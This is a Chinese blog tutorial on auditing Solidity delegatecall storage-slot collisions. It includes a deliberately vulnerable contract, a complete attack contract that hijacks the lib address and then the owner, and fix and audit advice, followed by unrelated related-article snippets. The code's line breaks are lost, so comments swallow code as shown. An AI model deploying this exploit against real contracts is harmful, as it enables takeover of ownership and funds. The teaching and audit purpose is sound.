当前位置: 首页 > news >正文

【区块链安全 | 第四十篇】合约审计之delegatecall(二)

文章目录

    • 漏洞代码
    • 代码分析
    • 攻击流程
    • 攻击代码
    • 前文重现
    • 修复建议
    • 审计思路

在这里插入图片描述

在阅读本文之前,请确保已先行阅读:【区块链安全 | 第三十九篇】合约审计之delegatecall(一)

漏洞代码

存在一漏洞代码如下:

// 库合约,定义了一个公共变量和一个函数
contract Lib {uint public someNumber; // 存储在 slot 0// 用于设置 someNumber 的值function doSomething(uint _num) public {someNumber = _num;}
}// 主合约 HackMe
contract HackMe {address public lib;         // 存储在 slot 0,库合约地址address public owner;       // 存储在 slot 1,合约的拥有者uint public someNumber;     // 存储在 slot 2// 构造函数,初始化库地址和合约拥有者constructor(address _lib) {lib = _lib;             // 设置外部库地址owner = msg.sender;     // 设置合约拥有者}// 外部接口,调用库合约中的 doSomething 函数function doSomething(uint _num) public {// 使用 delegatecall 方式调用库函数// 实际执行的是 Lib.doSomething(uint256),但上下文是 HackMe 自己的存储空间lib.delegatecall(abi.encodeWithSignature("doSomething(uint256)", _num));}
}

代码分析

正常的调用逻辑是这样的:

用户A调用 HackMe.doSomething(123),该函数内部使用 delegatecall 调用了库合约 Lib 的 doSomething(uint) 函数。虽然执行的是库合约中的代码,但由于使用的是 delegatecall,所以代码是在 HackMe 合约的上下文中执行的,也就是说修改的是 HackMe 合约自身的存储槽。

此时,Lib 中的 someNumber 存储在 slot 0,但在 HackMe 中 slot 0 存储的是 lib 地址。因此,delegatecall 执行时会将 slot 0 视为 HackMe 合约的 lib,从而错误地把 lib 的地址替换成了传入的 _num 值(类型转换为 address 时低位保留),也就是把 lib 地址改成了 address(123),这正是潜在的攻击点。

那么,我们该如何利用这个漏洞将受害者合约中的 owner 修改为我们自己的地址呢? 下面让我们一步步看看完整的攻击流程。

攻击流程

1.用户首先部署 Lib 合约;

2.随后,Hacker 部署 HackMe 合约,并在构造函数中传入 Lib 合约地址作为参数;

3.Hacker 部署恶意合约 Attack,并在构造函数中传入 HackMe 合约地址;

4.Hacker 首次调用 HackMe.doSomething(),在该调用中会通过 delegatecall 执行 Lib.doSomething(uint) 函数。原本该函数应修改 Lib 合约中的 someNumber(位于 slot 0),但由于使用的是 delegatecall,实际上会修改 HackMe 的 slot 0,即 lib 变量。因此,Hacker 可借此将 lib 替换为自己部署的 Attack 合约地址;

5.此时,由于 HackMe 合约中的 lib 地址已被替换为攻击合约 Attack 的地址,Hacker 可以自定义 Attack 合约中的 doSomething() 函数逻辑;

6.Hacker 第二次调用 HackMe.doSomething(),由于 lib 现在指向的是 Attack 合约,因此 delegatecall 实际执行的是 Attack.doSomething()。在该函数中,Hacker 可以编写恶意代码,直接修改 HackMe 合约中的 owner 变量;

7.最终,HackMe 合约的 owner 成功被篡改为 Hacker 的地址。

接下来,我们来看 Hacker 是如何编写这个恶意合约 Attack 的。

攻击代码

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.13;contract Attack {// 确保存储布局与 HackMe 完全一致// 这样我们才能正确地修改对应的状态变量address public lib;        // slot 0:库合约地址address public owner;      // slot 1:合约拥有者地址uint public someNumber;    // slot 2:任意整数变量HackMe public hackMe;constructor(HackMe _hackMe) {hackMe = HackMe(_hackMe);}function attack() public {// 第一次调用,覆盖 HackMe 中的 lib 地址为当前合约地址hackMe.doSomething(uint(uint160(address(this))));// 第二次调用,传入任意参数,触发 delegatecall 执行本合约的 doSomething()hackMe.doSomething(1);}// 函数签名必须与 HackMe 的 doSomething(uint) 完全一致function doSomething(uint _num) public {// 将 HackMe 中的 owner 修改为 Hacker 地址owner = msg.sender;}
}

前文重现

这里将【区块链安全 | 第三十九篇】合约审计之delegatecall(一)中提到的 delegatecall 的关键特性重复一遍,加深你的记忆:

当涉及 storage 变量的修改时,变量的赋值是基于存储插槽的位置(slot)而不是变量名进行的。

举例来说:

1.在 A 合约中,address c 被存储在 slot0,而 address a 被存储在 slot1;

2.在 B 合约中,address a 被存储在 slot0,而 address c 被存储在 slot1;

3.当 B 合约通过 delegatecall 调用 A 合约的 test 函数时,该函数原本用于修改 A 合约中的变量 a,即 slot1 中的数据;

4.然而,在 delegatecall 的上下文中,slot1 实际映射的是 B 合约中的变量 c,因此最终被修改的是 B 合约中的 c,而不是预期的 a。

修复建议

通过这个例子我们同样可以清晰看到 delegatecall 带来的安全隐患 —— 如果调用的外部合约不可信或不受控,很可能造成严重的数据篡改或权限劫持问题。因此,在设计合约架构时,应注意以下两点。

1.在使用 delegatecall 时,应确保被调用合约的地址是可信且不可由外部用户控制的。推荐的做法是将目标地址硬编码(写死一个你自己部署、你知道安全的合约地址),或通过白名单机制进行管理,防止恶意地址注入。

如果目标地址是外部可控的,会发生什么?

举个例子:

fallback() external payable {address(_someUserInput).delegatecall(msg.data);
}

假设上面这段代码的 _someUserInput 是用户传进来的地址,此时 Hacker 可以传一个他部署的恶意合约地址进来,然后通过 delegatecall,在你的合约中执行他的恶意代码,直接改写你合约里的变量,比如 owner、余额等。

2.在复杂合约中使用 delegatecall 时,应确保调用者与被调用合约之间的存储结构保持一致。特别是变量的声明顺序和类型必须严格对应,否则容易因存储插槽错位而导致意外的数据覆盖或逻辑错误。

审计思路

1.在审计中,如发现合约使用了 delegatecall,需重点检查目标合约地址是否有被 Hacker 控制的可能。如果地址是可控的,即存在外部调用者传入的风险,应视为高危漏洞。

2.若被调用的合约中包含对 storage 变量的修改,审计者应对比其与调用方合约的变量声明顺序和存储插槽分布,确认两者结构是否一致,避免 delegatecall 引发变量误覆盖或权限篡改问题。

相关文章:

【区块链安全 | 第四十篇】合约审计之delegatecall(二)

文章目录 漏洞代码代码分析攻击流程攻击代码前文重现修复建议审计思路 在阅读本文之前,请确保已先行阅读:【区块链安全 | 第三十九篇】合约审计之delegatecall(一) 漏洞代码 存在一漏洞代码如下: // 库合约&#xf…...

Redis实现分布式定时任务

设计思路 任务表示:每个任务通过一个特定格式的键来表示。键名可以包含任务ID等信息,值可以是任务的具体内容或指向任务详情的引用。过期机制:利用Redis的EXPIRE命令为任务设置过期时间,当到达设定的时间点时,Redis会…...

ERC20合约的基本调用

文章目录 ERC20合约的基本调用合约功能compile.js 代码读取文件 进行合约编译获取二进制对象导出对象 index.js 代码编译合约读取私钥设置收款账户构造 web3 对象获取账户地址获取 abi 和 bin创建合约交易部署合约构造转账交易验证转账后余额 测试项目目录执行查询 ERC20合约的…...

『Kubernetes(K8S) 入门进阶实战』实战入门 - Pod 详解

『Kubernetes(K8S) 入门进阶实战』实战入门 - Pod 详解 Pod 结构 每个 Pod 中都可以包含一个或者多个容器,这些容器可以分为两类 用户程序所在的容器,数量可多可少Pause 容器,这是每个 Pod 都会有的一个根容器,它的作用有两个 可…...

【React框架】什么是 Vite?如何使用vite自动生成react的目录?

什么是 Vite? Vite 是一个基于原生 ES Modules 开发的前端构建工具,由 Evan You(Vue 的作者)开发。它最大的特点包括: 极速冷启动:因为利用了浏览器原生的 ES Modules,所以在开发时无需等待整…...

JS实现文件点击或者拖拽上传

B站看到了渡一大师课的切片&#xff0c;自己实现了一下&#xff0c;做下记录 效果展示 分为上传前、上传中和上传后 实现 分为两步 界面交互网络请求 源码如下 upload.html <!DOCTYPE html> <html lang"zh-CN"><head><meta charset&q…...

【Vue #3】指令补充样式绑定

一、指令修饰符 Vue 的指令修饰符&#xff08;Directive Modifiers&#xff09;是 Vue 模板语法中的重要特性&#xff0c;它们以半角句号 . 开头&#xff0c;用于对指令的绑定行为进行特殊处理 修饰符作用如下&#xff1a; 简化事件处理&#xff08;如阻止默认行为、停止冒泡…...

Vue.js组件安全工程化演进:从防御体系构建到安全性能融合

——百万级流量场景下的安全组件架构与源码级解决方案 文章目录 总起&#xff1a;安全工程化的组件革命 分论&#xff1a; 一、现存组件架构的七宗罪与安全改造路径   1.1 组件生态安全赤字现状   1.2 架构级安全缺陷深度剖析   1.3 性能与安全的死亡螺旋 二、百万级…...

LINUX基础 [二] - Linux常见指令

目录 &#x1f4bb;前言 &#x1f4bb;指令 &#x1f3ae;ls指令 &#x1f3ae;pwd指令 &#x1f3ae;whoami指令 &#x1f3ae;cd指令 &#x1f3ae;clear指令 &#x1f3ae;touch指令 &#x1f3ae;mkdir指令 &#x1f3ae;rmdir指令 &#x1f3ae;rm指令 &#…...

Linux进阶命令

目录 一、touch 1. 基本语法 2. 常用选项 二、which 1. 基本语法 2. 主要功能 3. 常用选项 三、find 1. 基本语法 2. 常用选项和表达式 四、more 1. 基本语法 2. 常用操作 3. 对比 more 和 less 五、grep 1. 基本语法 2. 常用选项 六、wc 1. 基本语法 2. 常…...

【Spring Boot 过滤器】

文章目录 前言一、什么是过滤器 Filter&#xff1f;二、Spring Boot 中使用 Filter 的方式1. 使用 Component 注解2. 使用 FilterRegistrationBean 显式注册 三、自定义过滤器示例1. 引入必要依赖2. 创建一个自定义 Filter3. 使用 FilterRegistrationBean 显式注册 四、多个 Fi…...

SPI通讯的软硬件NSS SSM SSI

学习自记&#xff1a; 1. NSS&#xff08;Slave Select&#xff0c;从设备选择&#xff09;​​ ​​功能​​&#xff1a; NSS是SPI通信中用于选择从设备的信号线。主设备通过拉低NSS信号选中某个从设备&#xff0c;使其参与通信。通信结束后&#xff0c;主设备释放NSS&#…...

Java基础:集合List、Map、Set(超详细版)

集合体系概述 Collection常用方法 补充&#xff1a;addAll() Collection的遍历方式 迭代器 增强for&#xff08;空集合可以&#xff0c;null不可以&#xff09; lambda 集合对象存储对象原理 遍历方式的区别 List集合 特点、特有方法 遍历方式 &#xff08;同上&#xff09…...

vue+leaflet 区域划分_反向遮罩层

leaflet 区域划分_遮罩层 geojson在线生成器网址:(https://datav.aliyun.com/portal/school/atlas/area_selector) 点击前往阿里云geojson生成器 效果图: 实现下面效果,只需要把addSateLayer函数的调用取消掉就好了. //添加遮罩层代码function addMask() {var latlngs;var fe…...

聊一聊原子操作和弱内存序

1、原子操作概念 在并发编程中&#xff0c;原子操作&#xff08;Atomic Operation&#xff09;是实现线程安全的基础机制之一。从宏观上看&#xff0c;原子操作是“不可中断”的单元&#xff0c;但若深入微观层面&#xff0c;其本质是由底层处理器提供的一组特殊指令来保证其原…...

免费送源码:Java+ssm+MySQL 校园二手书销售平台设计与实现 计算机毕业设计原创定制

摘 要 信息化社会内需要与之针对性的信息获取途径&#xff0c;但是途径的扩展基本上为人们所努力的方向&#xff0c;由于站在的角度存在偏差&#xff0c;人们经常能够获得不同类型信息&#xff0c;这也是技术最为难以攻克的课题。针对校园二手书销售平台等问题&#xff0c;对校…...

DAPP实战篇:使用ethersjs连接智能合约并输入地址查询该地址余额

本系列目录 专栏:区块链入门到放弃查看目录-CSDN博客文章浏览阅读400次。为了方便查看将本专栏的所有内容列出目录,按照顺序查看即可。后续也会在此规划一下后续内容,因此如果遇到不能点击的,代表还没有更新。声明:文中所出观点大多数源于笔者多年开发经验所总结,如果你…...

14.【.NET 8 实战--孢子记账--从单体到微服务--转向微服务】--微服务基础工具与技术--CAP

CAP 是一款专为 .NET 生态设计的开源框架&#xff0c;其核心目标是解决微服务中跨服务数据一致性问题。在分布式系统中&#xff0c;传统事务无法跨服务保证数据一致性&#xff0c;CAP 通过本地事务与消息记录绑定&#xff0c;再利用消息中间件&#xff08;如 RabbitMQ、Kafka 等…...

智能资源管理机制-重传机制

一、发送端资源管理的核心机制 1. 滑动窗口&#xff08;Sliding Window&#xff09; 这是TCP协议的核心优化设计&#xff1a; 窗口动态滑动&#xff1a;发送端不需要保留所有已发送的分组&#xff0c;只需维护一个"发送窗口"窗口大小&#xff1a;由接收方通告的接…...

【Linux网络与网络编程】08.传输层协议 UDP

传输层协议负责将数据从发送端传输到接收端。 一、再谈端口号 端口号标识了一个主机上进行通信的不同的应用程序。在 TCP/IP 协议中&#xff0c;用 "源IP"&#xff0c;"源端口号"&#xff0c;"目的 IP"&#xff0c;"目的端口号"&…...

局域网下ESP32-S3 LED灯的UDP控制

在局域网下通过IP地址控制ESP32-S3上的LED&#xff0c;可以使用UDP或TCP协议。以下是一个基于UDP协议的完整示例&#xff0c;包括ESP32-S3的服务器代码和一个简单的Python客户端代码。 ESP32-S3 服务器代码 import socket import time import network import machineled Non…...

call、bind、apply

call、bind、apply它们三个都是函数的方法&#xff0c;都可以用于改变this的指向问题。 var person "liangxiao" let obj {name:"张三",say:function() {console.log(this.name);} }obj.say(); setTimeout(function() {obj.say(); },1000) obj.say()打…...

Redis 哨兵模式 搭建

1 . 哨兵模式拓扑 与 简介 本文介绍如何搭建 单主双从 多哨兵模式的搭建 哨兵有12个作用 。通过发送命令&#xff0c;让Redis服务器返回监控其运行状态&#xff0c;包括主服务器和从服务器。 当哨兵监测到master宕机&#xff0c;会自动将slave切换成master&#xff0c;然后通过…...

客户端负载均衡与服务器端负载均衡详解

客户端负载均衡与服务器端负载均衡详解 1. 客户端负载均衡&#xff08;Client-Side Load Balancing&#xff09; 核心概念 定义&#xff1a;负载均衡逻辑在客户端实现&#xff0c;客户端主动选择目标服务实例。典型场景&#xff1a;微服务内部调用&#xff08;如Spring Cloud…...

Ningx负载均衡

Ningx负载均衡 upstream(上游)配置负载均衡1、weight&#xff08;加权轮询&#xff09;2、ip_hash&#xff08;负载均衡&#xff09;3、url hash负载均衡4、least_conn&#xff08;最小连接负载均衡&#xff09; upstream(上游)配置负载均衡 Nginx负载均衡 参考: nginx从安装…...

头歌软件工程导论UML画图题(基于starUML)

一.结构化分析方法-数据流图 本关卡需要画图的一共有5关&#xff0c;直接将此图画好每关提交一次即可&#xff0c;以下的所有图均以此方法提交 二.面向对象分析之用例图 三.面向对象分析之类图 注意此处创建Class之后&#xff0c;双击Class出现以下选项 点击相应的选项创建属性…...

智能车摄像头开源—9 动态权、模糊PID、速度决策、路径优化

目录 一、前言 二、动态权 1.概述 2.偏差值加动态权 三、模糊PID 四、速度决策 1.曲率计算 2.速度拟合 3.速度控制 五、路径 六、国赛视频 一、前言 在前中期通过识别直道、弯道等元素可进行加减速操作实现速度的控制&#xff0c;可进一步缩减一圈的运行速度&#xff…...

java基础 this和super的介绍

this和super this关键字的用法super关键字的用法this与super的区别和注意事项 this关键字的用法 this是自身的一个对象&#xff0c;代表对象本身&#xff0c;可以理解为&#xff1a;指向对象本身的一个指针 class Person{private String name;private int age;public String …...

《Python星球日记》第25天:Pandas 数据分析

名人说&#xff1a;路漫漫其修远兮&#xff0c;吾将上下而求索。—— 屈原《离骚》 创作者&#xff1a;Code_流苏(CSDN)&#xff08;一个喜欢古诗词和编程的Coder&#x1f60a;&#xff09; 订阅专栏&#xff1a;《Python星球日记》 目录 一、引言二、数据分组与聚合1. 分组操…...

C++在Linux上生成动态库并调用接口测试

加减乘除demo代码 项目结构 CPP/ ├── calculator.cpp ├── calculator.h ├── main.cpp 头文件 #ifndef CALCULATOR_H #define CALCULATOR_H#ifdef __cplusplus extern "C" {#endifdouble add(double a, double b);double subtract(double a, double b…...

Cesium.js(6):Cesium相机系统

Camera表示观察场景的视角。通过操作摄像机&#xff0c;可以控制视图的位置、方向和角度。 帮助文档&#xff1a;Camera - Cesium Documentation 1 setView setView 方法允许你指定相机的目标位置和姿态。你可以通过 Cartesian3 对象来指定目标位置&#xff0c;并通过 orien…...

机器学习中的数学(PartⅡ)——线性代数:概述

首先引入代数和线性代数的概念&#xff1a; 在将一些直观的、基于经验或直觉的概念转化为严格的数学或逻辑定义时&#xff0c;一种常用方法是构建一组对象和一组操作这些对象的规则&#xff0c;这就是代数。线性代数是研究向量和某些操作向量的规则。 其次从更广泛的意义上定…...

基于双闭环PID控制器的永磁同步电机控制系统匝间故障Simulink仿真

欢迎微♥关注“电击小子程高兴的MATLAB小屋”获取巨额优惠 1.模型简介 本仿真模型基于MATLAB/Simulink&#xff08;版本MATLAB 2013Rb&#xff09;软件。建议采用matlab2013 Rb及以上版本打开。&#xff08;若需要其他版本可联系代为转换&#xff0c;高于该版本的matlab均可正…...

在51单片机上实现平滑呼吸灯:50us定时器PWM实战指南

在51单片机上实现平滑呼吸灯:50us定时器PWM实战指南 引言 本文将详细介绍如何在51单片机平台上,通过精确的50us定时器中断实现无闪烁的呼吸灯效果。相比常见的125us实现方案,50us定时器能提供更高的PWM频率和更细腻的亮度控制。 硬件设计 基本电路配置 主控芯片:SC92F8…...

asm汇编源代码之CPU型号检测

提供1个子程序: 1. CPU型号检测 CPUTYPE 无输入参数&#xff0c;返回值AX指示CPU类型(报歉,当时最新CPU型号只有80486) 函数的返回值详细描述如下 CPUTYPE PROC  FAR ;OUT: AX01, 8086; AX02, 80286; AX03, 80386; AX04, 80486 UP; ; more source code at http://www.ahj…...

提高课:数据结构之树状数组

1&#xff0c;楼兰图腾 #include<iostream> #include<cstring> #include<cstdio> #include<algorithm>using namespace std;typedef long long LL;const int N 200010;int n; int a[N]; int tr[N]; int Greater[N], lower[N];int lowbit(int x) {ret…...

python可变对象与不可变对象

文章目录 Python 中的可变对象与不可变对象不可变对象(Immutable Objects)可变对象(Mutable Objects)重要区别 Python 中的可变对象与不可变对象 在 Python 中&#xff0c;对象可以分为可变对象(mutable)和不可变对象(immutable)&#xff0c;这是 Python 中非常重要的概念&…...

C++学习之金融类安全传输平台项目git

目录 1.知识点概述 2.版本控制工具作用 3.git和SVN 4.git介绍 5.git安装 6.工作区 暂存区 版本库概念 7.本地文件添加到暂存区和提交到版本库 8.文件的修改和还原 9.查看提交的历史版本信息 10.版本差异比较 11.删除文件 12.本地版本管理设置忽略目录 13.远程git仓…...

果篮问题 Python

# 给你两个长度为 n 的整数数组&#xff0c;fruits 和 baskets&#xff0c;其中 fruits[i] 表示第 i 种水果的 数量&#xff0c;baskets[j] 表示第 j 个篮子的 容量。 # 你需要对 fruits 数组从左到右按照以下规则放置水果&#xff1a; # 每种水果必须放入第一个 容量大于等于 …...

Spring 是如何解决循环依赖的?

在使用 Spring 框架进行开发时&#xff0c;循环依赖是一个常见而棘手的问题。循环依赖指的是两个或多个 bean 之间的相互依赖&#xff0c;导致 Spring 容器无法正常创建这些 bean。下面将深入探讨 Spring 如何解决循环依赖问题&#xff0c;并提供一些最佳实践。 什么是循环依赖…...

部署NFS版StorageClass(存储类)

部署NFS版StorageClass存储类 NFS版PV动态供给StorageClass(存储类)基于NFS实现动态供应下载NFS存储类资源清单部署NFS服务器为StorageClass(存储类)创建所需的RBAC部署nfs-client-provisioner的deployment创建StorageClass使用存储类创建PVC NFS版PV动态供给StorageClass(存储…...

深入理解 PyTorch 的 nn.Embedding:词向量映射及变量 weight 的更新机制

文章目录 前言一、直接使用 nn.Embedding 获得变量1、典型场景2、示例代码&#xff1a;3、特点 二、使用 iou_token nn.Embedding(1, transformer_dim) 并访问 iou_token.weight1、典型场景2、示例代码&#xff1a;3、特点 三、第一种方法在模型更新中会更新其值吗&#xff1f…...

go语言内存泄漏的常见形式

go语言内存泄漏 子字符串导致的内存泄漏 使用自动垃圾回收的语言进行编程时&#xff0c;通常我们无需担心内存泄漏的问题&#xff0c;因为运行时会定期回收未使用的内存。但是如果你以为这样就完事大吉了&#xff0c;哪里就大错特措了。 因为&#xff0c;虽然go中并未对字符串…...

操作系统

操作系统 操作系统&#xff08;OperatingSystem&#xff0c;OS&#xff09;是指控制和管理整个计算机系统的硬件和软件资源&#xff0c;并合理地组织调度计算机的工作和资源的分配&#xff1b;以提供给用户和其他软件方便的接口和环境&#xff1b;它是计算机系统中最基本的系统…...

《JVM考古现场(十八):造化玉碟·用字节码重写因果律的九种方法》

"鸿蒙初判&#xff01;当前因果链突破十一维屏障——全体码农修士注意&#xff0c;《JVM考古现场&#xff08;十八&#xff09;》即将渡劫飞升&#xff01;" 目录 上卷阴阳交缠 第一章&#xff1a;混沌初开——JVM因果律的量子纠缠 第二章&#xff1a;诛仙剑阵改—…...

【2】k8s集群管理系列--包应用管理器之helm(Chart语法深入应用)

一、Chart模板&#xff1a;函数与管道 常用函数&#xff1a; • quote&#xff1a;将值转换为字符串&#xff0c;即加双引号 • default&#xff1a;设置默认值&#xff0c;如果获取的值为空则为默认值 • indent和nindent&#xff1a;缩进字符串 • toYaml&#xff1a;引用一…...

汇编获取二进制

mov_.S mov %r8d,0 nop执行命令&#xff1a; gcc -c mov_.S 会输出 mov_.o 文件&#xff1a;objdump -D mov_.o : mov_.o&#xff1a; 文件格式 elf64-x86-64Disassembly of section .text:0000000000000000 <.text>:0: 44 89 04 25 00 00 00 mov %r8d,0x0…...

《嵌套调用与链式访问:C语言中的函数调用技巧》

&#x1f680;个人主页&#xff1a;BabyZZの秘密日记 &#x1f4d6;收入专栏&#xff1a;C语言 &#x1f30d;文章目入 一、嵌套调用&#xff08;一&#xff09;定义&#xff08;二&#xff09;实现方式&#xff08;三&#xff09;优点&#xff08;四&#xff09;缺点 二、链式…...

txt、Csv、Excel、JSON、SQL文件读取(Python)

txt、Csv、Excel、JSON、SQL文件读取&#xff08;Python&#xff09; txt文件读写 创建一个txt文件 fopen(rtext.txt,r,encodingutf-8) sf.read() f.close() print(s)open( )是打开文件的方法 text.txt’文件名 在同一个文件夹下所以可以省略路径 如果不在同一个文件夹下 ‘…...

前端工程化之新晋打包工具

新晋打包工具 新晋打包工具前端模块工具的发展历程分类初版构建工具grunt使用场景 gulp采用管道机制任务化配置与api简洁 现代打包构建工具基石--webpack基于webpack改进的构建工具rollup 推荐举例说明package.jsonrollup.config.mjsmy-extract-css-rollup-plugin.mjssrc/index…...